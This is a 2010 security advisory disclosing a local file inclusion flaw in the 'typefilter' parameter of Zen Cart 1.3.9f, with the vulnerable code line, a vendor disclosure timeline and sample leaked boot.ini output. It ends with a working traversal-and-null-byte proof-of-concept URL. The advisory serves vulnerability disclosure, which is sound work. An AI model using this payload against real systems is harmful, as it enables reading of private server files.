Zen Cart v1.3.9f (typefilter) Local File Inclusion Vulnerability


Vendor: Zen Ventures, LLC
Product web page: http://www.zen-cart.com
Version affected: 1.3.9f

Summary: Zen Cart is an online store management system.
It is PHP-based, using a MySQL database and HTML components.
Support is provided for numerous languages and currencies,
and it is freely available under the GNU GPL.

Desc: Zen Cart v1.3.9f suffers from a file inlcusion vulnerability
(LFI) / file disclosure vulnerability (FD) when input passed
thru the "typefilter" parameter to index.php is not properly verified
before being used to include files. This can be exploited to include
files from local resources with directory traversal attacks and URL
encoded NULL bytes.


------------------ output. ------------------

 [boot loader]
 timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS

 [operating systems]
 multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect /NoExecute=OptOut


 1065 Query was empty
 in:
 []

------------------ .output ------------------


 -


------------------- snip. -------------------

 if (isset($_GET['typefilter'])) $typefilter = $_GET['typefilter'];

------------------- .snip -------------------



Tested On: Apache 2.2.11 (Win32)
           PHP 5.3.0
           MySQL 5.1.36


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
Zero Science Lab - http://www.zeroscience.mk
liquidworm gmail com

19.08.2010


Vendor status: [19.08.2010] - Vulnerability discovered.
               [22.08.2010] - Vendor contacted.
               [22.08.2010] - Vendor responds asking more details.
               [23.08.2010] - Sent PoC files to vendor.
               [25.08.2010] - Vendor confirms vulnerability.
               [02.09.2010] - Asked vendor for patch release date.
               [08.09.2010] - Vendor states approximately 7 days to patch release.
               [20.09.2010] - Asked vendor for status.
               [24.09.2010] - Asked vendor for status again because of no reply from previous mail.
               [28.09.2010] - Vendor informed about advisory release date.
               [29.09.2010] - Vendor releases version 1.3.9g to address this issue.
               [01.10.2010] - Public advisory released.


Advisory ID: ZSL-2010-4967
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4967.php

Vendor Advisory: http://www.zen-cart.com/forum/showthread.php?t=165017


PoC:

 http://127.0.0.1/index.php?typefilter=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini%00